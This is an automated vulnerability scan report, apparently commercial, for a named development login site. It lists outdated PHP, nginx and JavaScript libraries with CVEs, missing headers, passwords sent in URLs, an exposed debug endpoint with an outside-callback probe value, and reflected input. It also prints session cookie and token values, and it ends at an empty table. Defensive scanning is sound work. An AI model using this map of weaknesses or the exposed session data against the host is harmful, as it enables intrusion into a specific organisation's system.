

Website Vulnerability Scanner Report

✓ <https://dev-app-brisurf.brins.co.id/login>

Summary

Overall risk level:

High

Risk ratings:

Critical:	0
High:	3
Medium:	4
Low:	10
Info:	8

Scan information:

Start time:	Jun 02, 2026 / 09:00:27 UTC+07
Finish time:	Jun 02, 2026 / 10:43:48 UTC+07
Scan duration:	1 hrs, 43 min, 21 sec
Tests performed:	79
VPN Profile:	Scan Internal
Scan status:	Finished

Findings

Vulnerabilities found for php 7.4.30 port 443/tcp

CVE	CVSS	EPSS Score	EPSS Percentile	Summary
CVE-2024-3566	9.8	0.09605	0.93012	A command inject vulnerability allows an attacker to perform command injection on Windows applications that indirectly depend on the CreateProcess function when the specific conditions are satisfied.
CVE-2022-37454	9.8	0.014	0.8073	The Keccak XKCP SHA-3 reference implementation before fdc6fef has an integer overflow and resultant buffer overflow that allows attackers to execute arbitrary code or eliminate expected cryptographic properties. This occurs in the sponge function interface.
CVE-2022-31630	6.5	0.00046	0.14596	In PHP versions prior to 7.4.33, 8.0.25 and 8.1.12, when using imageloadfont() function in gd extension, it is possible to supply a specially crafted font file, such as if the loaded font is used with imagechar() function, the read outside allocated buffer will be used. This can lead to crashes or disclosure of confidential information.
CVE-2022-31629	6.5	0.15416	0.94763	In PHP versions before 7.4.31, 8.0.24 and 8.1.11, the vulnerability enables network and same-site attackers to set a standard insecure cookie in the victim's browser which is treated as a `__Host-` or `__Secure-` cookie by PHP applications.
CVE-2022-4900	6.2	0.00065	0.2031	A vulnerability was found in PHP where setting the environment variable PHP_CLI_SERVER_WORKERS to a large value leads to a heap buffer overflow.

▼ Details

Risk description:

The risk is that an attacker could search for an appropriate exploit (or create one himself) for any of these vulnerabilities and use it to attack the system.

Since the vulnerabilities were discovered using only version-based testing, the risk level for this finding will not exceed 'high' severity. Critical risks will be assigned to vulnerabilities identified through accurate active testing methods.

Recommendation:

In order to eliminate the risk of these vulnerabilities, we recommend you check the installed software version and upgrade to the latest version.

Classification:

EPSS score : 0.15416

EPSS percentile : 0.94763

CISA KEV: False

CVE : [CVE-2024-3566](#), [CVE-2022-37454](#), [CVE-2022-31630](#), [CVE-2022-31629](#), [CVE-2022-4900](#)

CVSS V3 : 9.8

CWE : [CWE-1035](#)

Vulnerabilities found for nginx 1.18.0

port 443/tcp

CVE	CVSS	EPSS Score	EPSS Percentile	Summary
CVE-2021-23017	7.7	0.73544	0.98826	A security issue in nginx resolver was identified, which might allow an attacker who is able to forge UDP packets from the DNS server to cause 1-byte memory overwrite, resulting in worker process crash or potential other impact.
CVE-2023-44487	7.5	0.944	0.99976	The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023.
CVE-2021-3618	7.4	0.00615	0.70227	ALPACA is an application layer protocol content confusion attack, exploiting TLS servers implementing different protocols but using compatible certificates, such as multi-domain or wildcard certificates. A MiTM attacker having access to victim's traffic at the TCP/IP layer can redirect traffic from one subdomain to another, resulting in a valid TLS session. This breaks the authentication of TLS and cross-protocol attacks may be possible where the behavior of one protocol service may compromise the other at the application layer.
CVE-2022-41742	7.1	0.00088	0.25171	NGINX Open Source before versions 1.23.2 and 1.22.1, NGINX Open Source Subscription before versions R2 P1 and R1 P1, and NGINX Plus before versions R27 P1 and R26 P1 have a vulnerability in the module ngx_http_mp4_module that might allow a local attacker to cause a worker process crash, or might result in worker process memory disclosure by using a specially crafted audio or video file. The issue affects only NGINX products that are built with the module ngx_http_mp4_module, when the mp4 directive is used in the configuration file. Further, the attack is possible only if an attacker can trigger processing of a specially crafted audio or video file with the module ngx_http_mp4_module.
CVE-2022-41741	7.0	0.00851	0.75205	NGINX Open Source before versions 1.23.2 and 1.22.1, NGINX Open Source Subscription before versions R2 P1 and R1 P1, and NGINX Plus before versions R27 P1 and R26 P1 have a vulnerability in the module ngx_http_mp4_module that might allow a local attacker to corrupt NGINX worker memory, resulting in its termination or potential other impact using a specially crafted audio or video file. The issue affects only NGINX products that are built with the ngx_http_mp4_module, when the mp4 directive is used in the configuration file. Further, the attack is possible only if an attacker can trigger processing of a specially crafted audio or video file with the module ngx_http_mp4_module.

▼ Details

Risk description:

The risk is that an attacker could search for an appropriate exploit (or create one himself) for any of these vulnerabilities and use it to attack the system.

Since the vulnerabilities were discovered using only version-based testing, the risk level for this finding will not exceed 'high' severity. Critical risks will be assigned to vulnerabilities identified through accurate active testing methods.

Recommendation:

In order to eliminate the risk of these vulnerabilities, we recommend you check the installed software version and upgrade to the latest version.

Classification:

EPSS score : 0.944

EPSS percentile : 0.99976

CISA KEV: False

CVE : [CVE-2021-23017](#), [CVE-2023-44487](#), [CVE-2021-3618](#), [CVE-2022-41742](#), [CVE-2022-41741](#)

CVSS V3 : 7.7

CWE : [CWE-1035](#)

Vulnerabilities found for moment.js 2.20.1

port 443/tcp

CVE	CVSS	EPSS Score	EPSS Percentile	Summary
-----	------	------------	-----------------	---------

CVE-2022-31129	7.5	0.0311	0.87049	moment is a JavaScript date library for parsing, validating, manipulating, and formatting dates. Affected versions of moment were found to use an inefficient parsing algorithm. Specifically using string-to-date parsing in moment (more specifically rfc2822 parsing, which is tried by default) has quadratic (N^2) complexity on specific inputs. Users may notice a noticeable slowdown is observed with inputs above 10k characters. Users who pass user-provided strings without sanity length checks to moment constructor are vulnerable to (Re)DoS attacks. The problem is patched in 2.29.4, the patch can be applied to all affected versions with minimal tweaking. Users are advised to upgrade. Users unable to upgrade should consider limiting date lengths accepted from user input.
CVE-2022-24785	7.5	0.01827	0.83217	Moment.js is a JavaScript date library for parsing, validating, manipulating, and formatting dates. A path traversal vulnerability impacts npm (server) users of Moment.js between versions 1.0.1 and 2.29.1, especially if a user-provided locale string is directly used to switch moment locale. This problem is patched in 2.29.2, and the patch can be applied to all affected versions. As a workaround, sanitize the user-provided locale name before passing it to Moment.js.

▼ Details

Risk description:

The risk is that an attacker could search for an appropriate exploit (or create one himself) for any of these vulnerabilities and use it to attack the system.

Since the vulnerabilities were discovered using only version-based testing, the risk level for this finding will not exceed 'high' severity. Critical risks will be assigned to vulnerabilities identified through accurate active testing methods.

Recommendation:

In order to eliminate the risk of these vulnerabilities, we recommend you check the installed software version and upgrade to the latest version.

Classification:

EPSS score : 0.0311
 EPSS percentile : 0.87049
 CISA KEV: False
 CVE : [CVE-2022-31129](#), [CVE-2022-24785](#)
 CVSS V3 : 7.5
 CWE : [CWE-1035](#)

Insecure cookie setting: missing Secure flag

CONFIRMED

port 443/tcp

URL	Cookie Name	Evidence
https://dev-app-brisurf.brins.co.id/login	brins_brisurf_ui_session	Set-Cookie: brins_brisurf_ui_session=eyJpdil6JlIOOCtyVUwrUkxyQTIOMDJaM1dWY0E9PSIsInZhbHVlIjoiaRXdzNjRsdVFkS3AwditUd0pyMnBLMkJCNEF1dTl5REJSZGE2dDRFaFI2Um8xZmJ4R043cW5hMFC4T1lYVWZxT21JTS9VbXlZbkVJR3huUEdiTDJYUG5nZlM0ZWZlUW9HS1dqfDdCU3F3U3kwVkpheOEIjVzcrSWdBdzhqNGIPQjgiLCJtYWMiOiIzMtIIZGU1YmEyNDUwODJjMmYyYmQ1M2U0M2ZkZGZmYTU2YzlmNjFjZWY2ZTIwMzg0ZTkY3NWRmNzU3ZTcxliwidGFnljoIn0%3D Request / Response

▼ Details

Risk description:

The risk exists that an attacker will intercept the clear-text communication between the browser and the server and he will steal the cookie of the user. If this is a session cookie, the attacker could gain unauthorized access to the victim's web session.

Recommendation:

Whenever a cookie contains sensitive information or is a session token, then it should always be passed using an encrypted channel. Ensure that the secure flag is set for cookies containing such sensitive information.

References:

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes.html

Classification:

CWE : [CWE-614](#)
 OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)
 OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)
 OWASP Top 10 - 2025 : [A02 - Security Misconfiguration](#)

Vulnerabilities found for bootstrap 4.1.3

port 443/tcp

CVE	CVSS	EPSS Score	EPSS Percentile	Summary
CVE-2024-6531	6.4	0.00072	0.22588	A vulnerability has been identified in Bootstrap that exposes users to Cross-Site Scripting (XSS) attacks. The issue is present in the carousel component, where the data-slide and data-slide-to attributes can be exploited through the href attribute of an <a> tag due to inadequate sanitization. This vulnerability could potentially enable attackers to execute arbitrary JavaScript within the victim's browser.

▼ Details

Risk description:

The risk is that an attacker could search for an appropriate exploit (or create one himself) for any of these vulnerabilities and use it to attack the system.

Since the vulnerabilities were discovered using only version-based testing, the risk level for this finding will not exceed 'high' severity. Critical risks will be assigned to vulnerabilities identified through accurate active testing methods.

Recommendation:

In order to eliminate the risk of these vulnerabilities, we recommend you check the installed software version and upgrade to the latest version.

Classification:

EPSS score : 0.00072
EPSS percentile : 0.22588
CISA KEV: False
CVE : [CVE-2024-6531](#)
CVSS V3 : 6.4
CWE : [CWE-1035](#)

Vulnerabilities found for jquery 3.2.1

port 443/tcp

CVE	CVSS	EPSS Score	EPSS Percentile	Summary
CVE-2020-11023	6.9	0.3466	0.9709	passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. More details at: https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/ Affected file: https://dev-app-brisurf.brins.co.id/public/login/assets/js/jquery-3.2.1.min.js
CVE-2020-11022	6.9	0.02456	0.85474	Regex in its jQuery.htmlPrefilter sometimes may introduce XSS. More details at: https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/ Affected file: https://dev-app-brisurf.brins.co.id/public/login/assets/js/jquery-3.2.1.min.js
CVE-2019-11358	6.1	0.01532	0.81622	jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. More details at: https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/ https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b Affected file: https://dev-app-brisurf.brins.co.id/public/login/assets/js/jquery-3.2.1.min.js

▼ Details

Risk description:

The risk is that an attacker could search for an appropriate exploit (or create one himself) for any of these vulnerabilities and use it to attack the system.

Since the vulnerabilities were discovered using only version-based testing, the risk level for this finding will not exceed 'high' severity. Critical risks will be assigned to vulnerabilities identified through accurate active testing methods.

Recommendation:

In order to eliminate the risk of these vulnerabilities, we recommend you check the installed software version and upgrade to the latest version.

Classification:

EPSS score : 0.3466
EPSS percentile : 0.9709
CISA KEV: False
CVE : [CVE-2020-11023](#), [CVE-2020-11022](#), [CVE-2019-11358](#)

Vulnerabilities found for bootstrap 4.0.0

port 443/tcp

CVE	CVSS	EPSS Score	EPSS Percentile	Summary
CVE-2019-8331	6.1	0.01668	0.82416	XSS in data-template, data-content and data-title properties of tooltip/popover. More details at: https://github.com/advisories/GHSA-9v3m-8fp8-mj99 https://github.com/twbs/bootstrap/issues/28236 Affected file: https://dev-app-brisurf.brins.co.id/public/login/assets/js/bootstrap.min.js
CVE-2018-14042	6.1	0.02281	0.84952	XSS in data-container property of tooltip. More details at: https://github.com/twbs/bootstrap/issues/20184 Affected file: https://dev-app-brisurf.brins.co.id/public/login/assets/js/bootstrap.min.js
CVE-2018-14041	6.1	0.07917	0.92169	XSS in data-target property of scrollspy. More details at: https://github.com/advisories/GHSA-pj7m-g53m-7638 https://github.com/twbs/bootstrap/issues/20184 Affected file: https://dev-app-brisurf.brins.co.id/public/login/assets/js/bootstrap.min.js
CVE-2018-14040	6.1	0.01926	0.83677	XSS in collapse data-parent attribute. More details at: https://github.com/twbs/bootstrap/issues/20184 Affected file: https://dev-app-brisurf.brins.co.id/public/login/assets/js/bootstrap.min.js

▼ Details

Risk description:

The risk is that an attacker could search for an appropriate exploit (or create one himself) for any of these vulnerabilities and use it to attack the system.

Since the vulnerabilities were discovered using only version-based testing, the risk level for this finding will not exceed 'high' severity. Critical risks will be assigned to vulnerabilities identified through accurate active testing methods.

Recommendation:

In order to eliminate the risk of these vulnerabilities, we recommend you check the installed software version and upgrade to the latest version.

Classification:

EPSS score : 0.07917
EPSS percentile : 0.92169
CISA KEV: False
CVE : [CVE-2019-8331](#), [CVE-2018-14042](#), [CVE-2018-14041](#), [CVE-2018-14040](#)
CVSS V3 : 6.1
CWE : [CWE-1035](#)

Missing security header: Referrer-Policy

port 443/tcp

CONFIRMED

URL	Evidence
https://dev-app-brisurf.brins.co.id/login	Response headers do not include the Referrer-Policy HTTP security header as well as the <meta> tag with name 'referrer' is not present in the response. Request / Response

▼ Details

Risk description:

The risk is that if a user visits a web page (e.g. "http://example.com/pricing/") and clicks on a link from that page going to e.g. "https://www.google.com", the browser will send to Google the full originating URL in the **Referer** header, assuming the Referrer-Policy header is not set. The originating URL could be considered sensitive information and it could be used for user tracking.

Recommendation:

The Referrer-Policy header should be configured on the server side to avoid user tracking and inadvertent information leakage. The value **no-referrer** of this header instructs the browser to omit the Referer header entirely.

References:

https://developer.mozilla.org/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns

Classification:
CWE : [CWE-693](#)
OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)
OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)
OWASP Top 10 - 2025 : [A02 - Security Misconfiguration](#)

Missing security header: Strict-Transport-Security

CONFIRMED

port 443/tcp

URL	Evidence
https://dev-app-brisurf.brins.co.id/login	Response headers do not include the HTTP Strict-Transport-Security header Request / Response

Details

Risk description:

The risk is that lack of this header permits an attacker to force a victim user to initiate a clear-text HTTP connection to the server, thus opening the possibility to eavesdrop on the network traffic and extract sensitive information (e.g. session cookies).

Recommendation:

The Strict-Transport-Security HTTP header should be sent with each HTTPS response. The syntax is as follows:

`Strict-Transport-Security: max-age=<seconds>[; includeSubDomains]`

The parameter `max-age` gives the time frame for requirement of HTTPS in seconds and should be chosen quite high, e.g. several months. A value below 7776000 is considered as too low by this scanner check.

The flag `includeSubDomains` defines that the policy applies also for sub domains of the sender of the response.

Classification:

CWE : [CWE-693](#)
OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)
OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)
OWASP Top 10 - 2025 : [A02 - Security Misconfiguration](#)

Missing security header: Content-Security-Policy

CONFIRMED

port 443/tcp

URL	Evidence
https://dev-app-brisurf.brins.co.id/login	Response does not include the HTTP Content-Security-Policy security header or meta tag Request / Response

Details

Risk description:

The risk is that if the target application is vulnerable to XSS, lack of this header makes it easily exploitable by attackers.

Recommendation:

Configure the Content-Security-Header to be sent with each HTTP response in order to apply the specific policies needed by the application.

References:

https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy>

Classification:

CWE : [CWE-1021](#)
OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)
OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)
OWASP Top 10 - 2025 : [A02 - Security Misconfiguration](#)

Missing security header: X-Content-Type-Options

CONFIRMED

port 443/tcp

URL	Evidence
-----	----------

<https://dev-app-brisurf.brins.co.id/login>

Response headers do not include the X-Content-Type-Options HTTP security header
[Request / Response](#)

▼ Details

Risk description:

The risk is that lack of this header could make possible attacks such as Cross-Site Scripting or phishing in Internet Explorer browsers.

Recommendation:

We recommend setting the X-Content-Type-Options header such as `X-Content-Type-Options: nosniff`.

References:

<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options>

Classification:

CWE : [CWE-693](#)

OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)

OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)

OWASP Top 10 - 2025 : [A02 - Security Misconfiguration](#)

 Internal Server Error Found

CONFIRMED

port 443/tcp

URL	Method	Parameters	Evidence
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: max=20 offset=https://ptt-logger.net//hbc87189Rg/? id=14417409903675422600 Headers: Origin=http://example.com Referer=http://example.com User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Response has an internal server error status code: 500

▼ Details

Risk description:

The risk exists that attackers could utilize information revealed in Internal Server Error messages to mount more targeted and effective attacks. Detailed error messages could, for example, expose a path traversal weakness (CWE-22) or other exploitable system vulnerabilities.

Recommendation:

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Classification:

CWE : [CWE-209](#)

OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)

OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)

OWASP Top 10 - 2025 : [A10 - Mishandling of Exceptional Conditions](#)

Screenshot:

URL	Method	Parameters	Evidence
https://dev-app-brisurf.brins.co.id/home	GET	Headers: User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	The following form sends inputs of type password plainly in the URL: <pre> <form id="frmLogin"> <input type="hidden" name= "_token" value="JcyLX5pAtqUXXRBH7N7AXKavylkzhhtt2tQPL2JH"> <div class="login-det"> <div class="form-row"> <label for="">User name</label> <div class="input- group mb-3"> <div class="in put-group-prepend"> <i cla ss="far fa-user"></i> </div> <input type="t ext" class="form-control" placeholder="Enter Username" aria-label="Username" aria-describedby="basic-addon1" name="username"> </div> </div> <div class="form-row"> <label for="">Pass word</label> <div class="input- group mb-3"> <div class="in put-group-prepend"> ... (truncated) Request / Response </pre>
https://dev-app-brisurf.brins.co.id/login	GET	Headers: User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	The following form sends inputs of type password plainly in the URL: <pre> <form id="frmLogin"> <input type="hidden" name= "_token" value="TKopbu9b5Thr9i0t7Q5vB9Y5iFL4IqZTP07UHWi0"> <div class="login-det"> <div class="form-row"> <label for="">User name</label> <div class="input- group mb-3"> <div class="in put-group-prepend"> <i cla ss="far fa-user"></i> </div> <input type="t ext" class="form-control" placeholder="Enter Username" aria-label="Username" aria-describedby="basic-addon1" name="username"> </div> </div> <div class="form-row"> <label for="">Pass word</label> <div class="input- group mb-3"> <div class="in put-group-prepend"> ... (truncated) Request / Response </pre>

https://dev-app-brisurf.brins.co.id/login	GET	Query: captcha=1d3d2d231d2dd4 password=Secure123456\$ username=1d3d2d231d2dd4 Headers: User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	The following form sends inputs of type password plainly in the URL: <pre><form id="frmLogin"> <input type="hidden" name="_token" value="JcyLX5pAtqUXXRBH7N7AXKavylkzhhtt2tQPL2JH"> <div class="login-det"> <div class="form-row"> <label for="">User name</label> <div class="input-group mb-3"> <div class="input-group-prepend"> <i class="far fa-user"></i> </div> <input type="text" class="form-control" placeholder="Enter Username" aria-label="Username" aria-describedby="basic-addon1" name="username"> </div> </div> <div class="form-row"> <label for="">Password</label> <div class="input-group mb-3"> <div class="input-group-prepend"> ... (truncated) </div> <input type="password" class="form-control" placeholder="Enter Password" aria-label="Password" aria-describedby="basic-addon1" name="password"> </div> </div> </div> </div> </form></pre> Response
https://dev-app-brisurf.brins.co.id/login	GET	Query: ip=1d3d2d231d2dd4 method=method uri=1d3d2d231d2dd4 Headers: User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	The following form sends inputs of type password plainly in the URL: <pre><form id="frmLogin"> <input type="hidden" name="_token" value="JcyLX5pAtqUXXRBH7N7AXKavylkzhhtt2tQPL2JH"> <div class="login-det"> <div class="form-row"> <label for="">User name</label> <div class="input-group mb-3"> <div class="input-group-prepend"> <i class="far fa-user"></i> </div> <input type="text" class="form-control" placeholder="Enter Username" aria-label="Username" aria-describedby="basic-addon1" name="username"> </div> </div> <div class="form-row"> <label for="">Password</label> <div class="input-group mb-3"> <div class="input-group-prepend"> ... (truncated) </div> <input type="password" class="form-control" placeholder="Enter Password" aria-label="Password" aria-describedby="basic-addon1" name="password"> </div> </div> </div> </div> </form></pre> Response

▼ Details

Risk description:

Passwords submitted in URLs have a higher chance of being leaked. The main reason is that URLs can be leaked in browser cross-site requests via the Referer header. Additionally, URLs are usually stored in all kinds of logs. If any access or error logs of the server were publicly accessible, an attacker could also harvest password from it.

Recommendation:

You should submit passwords using POST rather than GET. This way sensitive data won't be shared to other locations via URLs.

References:

https://developer.mozilla.org/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns

Classification:

CWE : [CWE-598](#)

OWASP Top 10 - 2021 : [A4 - Insecure Design](#)

OWASP Top 10 - 2025 : [A06 - Insecure Design](#)

Suspicious Comment

port 443/tcp

UNCONFIRMED 

URL	Method	Parameters	Evidence
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: max=20 offset[\$ptt]=0 Headers: Referer=https://dev-app-brisurf.brins.co.id/login User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Suspicious comment bug found in: n in file /var/www/html/vendor/barryvdh/laravel-debugbar/src/Storage/FileSystemStorage.php on line 115

▼ Details

Risk description:

The risk exists that attackers could analyze these comments to identify vulnerabilities or weaknesses in the application. While comments themselves do not directly lead to security breaches, they may guide attackers to focus their efforts on specific parts of the application, potentially uncovering and exploiting vulnerabilities.

Recommendation:

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

Classification:

CWE : [CWE-546](#)

OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)

OWASP Top 10 - 2021 : [A4 - Insecure Design](#)

OWASP Top 10 - 2025 : [A06 - Insecure Design](#)

Enumerable Parameter

port 443/tcp

UNCONFIRMED 

URL	Method	Vulnerable Parameter	Evidence
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	max (Query Parameter)	The max query parameter appears to contain an enumerable numeric part. We modified its initial value 20 to 19 and the two responses were 87% similar. The parameter may introduce an Insecure Direct Object Reference (IDOR) vulnerability. Request / Response
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	offset (Query Parameter)	The offset query parameter appears to contain an enumerable numeric part. We modified its initial value 0 to -1 and the two responses were 6% similar. The parameter may introduce an Insecure Direct Object Reference (IDOR) vulnerability. Request / Response
https://dev-app-brisurf.brins.co.id/login	GET	password (Query Parameter)	The password query parameter appears to contain an enumerable numeric part. We modified its initial value Secure123456\$ to Secure123455\$ and the two responses were 93% similar. The parameter may introduce an Insecure Direct Object Reference (IDOR) vulnerability. Request / Response

▼ Details

Risk description:

The vulnerability allows attackers to brute-force parameter values to uncover and access unauthorized resources and functionalities.

Recommendation:

Ensure that parameter values would not reveal sensitive information and that the application properly checks the user's authorization to access the resource. Also, the resource IDs should not be predictable.

References:

[Testing for Insecure Direct Object References](#)

Classification:

CWE : [CWE-284](#)

OWASP Top 10 - 2017 : [A5 - Broken Access Control](#)

OWASP Top 10 - 2021 : [A1 - Broken Access Control](#)

OWASP Top 10 - 2025 : [A01 - Broken Access Control](#)

Server software and technology found

port 443/tcp

UNCONFIRMED 

Software / Version	Category
 Bootstrap 4.1.3	UI frameworks
 Highlight.js	JavaScript libraries
 jQuery 3.2.1	JavaScript libraries
 Moment.js 2.20.1	JavaScript libraries
 Nginx 1.18.0	Web servers, Reverse proxies
 OWL Carousel	JavaScript libraries
 PHP 7.4.30	Programming languages
 PHPDebugBar	Development
 Popper	Miscellaneous
 Sectigo	SSL/TLS certificate authorities
 SweetAlert	JavaScript libraries
 Ubuntu	Operating systems

Details

Risk description:

The risk is that an attacker could use this information to mount specific attacks against the identified software type and version.

Recommendation:

We recommend you to eliminate the information which permits the identification of software platform, technology, server and operating system: HTTP server headers, HTML meta information, etc.

References:

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server.html

Classification:

CWE : [CWE-200](#)

OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)

OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)

OWASP Top 10 - 2025 : [A02 - Security Misconfiguration](#)

Screenshot:



Figure 6. Website Screenshot

Login Interface Found port 443/tcp

CONFIRMED

URL	Evidence
https://dev-app-brisurf.brins.co.id/login	<pre> <input type="password" class="form-control" placeholder="Enter Password" aria-label="Username" aria-describedby="basic-addon1" name="password"> <input type="password" class="form-control" placeholder="Enter Password" aria-label="Username" aria-describedby="basic-addon1" name="password"> <button class="btn btn-sm btn-danger" type="submit" id="btn-login">Login</button> </pre> Request / Response

Details

Risk description:

The risk is that an attacker could use this interface to mount brute force attacks against known passwords and usernames combinations leaked throughout the web.

Recommendation:

Ensure each interface is not bypassable using common knowledge of the application or leaked credentials using occasional password audits.

References:

<https://pentest-tools.com/network-vulnerability-scanning/password-auditor>
<http://capec.mitre.org/data/definitions/16.html>

Classification:

CWE : [CWE-287](#)
 OWASP Top 10 - 2025 : [A06 - Insecure Design](#)

Screenshot:



Figure 7. Login Interface

Input Reflected in Response

port 443/tcp

CONFIRMED

URL	Method	Vulnerable Parameter	Evidence	Replay Attack
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	id (Query Parameter)	Injected the string <code>pttcabdac9d`</code> in the id query parameter and it was found reflected in the response. Request / Response	
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	max (Query Parameter)	Injected the string <code>ptt1f3febec`</code> in the max query parameter and it was found reflected in the response. Request / Response	
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	offset (Query Parameter)	Injected the string <code>pttbb351d54`</code> in the offset query parameter and it was found reflected in the response. Request / Response	
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	op (Query Parameter)	Injected the string <code>ptt5075552b`</code> in the op query parameter and it was found reflected in the response. Request / Response	
https://dev-app-brisurf.brins.co.id/login	GET	User-Agent (Http Header)	Injected the string <code>ptt7e9aa699</code> in the User-Agent http header and it was found reflected in the response. Request / Response	
https://dev-app-brisurf.brins.co.id/login	GET	User-Agent (Http Header)	Injected the string <code>pttfd11fad7</code> in the User-Agent http header and it was found reflected in the response. Request / Response	
https://dev-app-brisurf.brins.co.id/login	GET	ip (Query Parameter)	Injected the string <code>ptt7cb2e99a`</code> in the ip query parameter and it was found reflected in the response. Request / Response	
https://dev-app-brisurf.brins.co.id/login	GET	ptt531f31ba (Query Parameter)	Injected the string <code>ptt5ae291c9`</code> in the ptt531f31ba query parameter and it was found reflected in the response. Request / Response	
https://dev-app-brisurf.brins.co.id/login	GET	uri (Query Parameter)	Injected the string <code>ptt48f7c4e4`</code> in the uri query parameter and it was found reflected in the response. Request / Response	

▼ Details

Risk description:

The risk is that the reflection of input without proper sanitization or encoding can potentially be leveraged by attackers to inject malicious scripts or content in the client browser context.

Recommendation:

It is recommended that a tester inspects this issue manually to find out if it can be escalated to higher-risk vulnerabilities.

References:

<https://owasp.org/www-community/attacks/xss>
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Classification:

CWE : [CWE-20](#)
OWASP Top 10 - 2021 : [A3 - Injection](#)
OWASP Top 10 - 2025 : [A05 - Injection](#)

 Security.txt file is missing**CONFIRMED**

port 443/tcp

URL

Missing: <https://dev-app-brisurf.brins.co.id/.well-known/security.txt>

Details**Risk description:**

There is no particular risk in not having a security.txt file for your server. However, this file is important because it offers a designated channel for reporting vulnerabilities and security issues.

Recommendation:

We recommend you to implement the security.txt file according to the standard, in order to allow researchers or users report any security issues they find, improving the defensive mechanisms of your server.

References:

<https://securitytxt.org/>

Classification:

CWE : [CWE-1188](#)
OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)
OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)
OWASP Top 10 - 2025 : [A02 - Security Misconfiguration](#)

 HTTP OPTIONS enabled**CONFIRMED**

port 443/tcp

URL**Method****Summary**

<https://dev-app-brisurf.brins.co.id/login>

OPTIONS

We did a HTTP OPTIONS request.
The server responded with a 200 status code and the header: **Allow: GET, HEAD**
[Request / Response](#)

Details**Risk description:**

The only risk this might present nowadays is revealing debug HTTP methods that can be used on the server. This can present a danger if any of those methods can lead to sensitive information, like authentication information, secret keys.

Recommendation:

We recommend that you check for unused HTTP methods or even better, disable the OPTIONS method. This can be done using your webserver configuration.

References:

<https://techcommunity.microsoft.com/t5/iis-support-blog/http-options-and-default-page-vulnerabilities/ba-p/1504845>
<https://docs.nginx.com/nginx-management-suite/acm/how-to/policies/allowed-http-methods/>

Classification:

CWE : [CWE-16](#)
OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)

Path Disclosure

port 443/tcp

UNCONFIRMED 

URL	Method	Parameters	Evidence
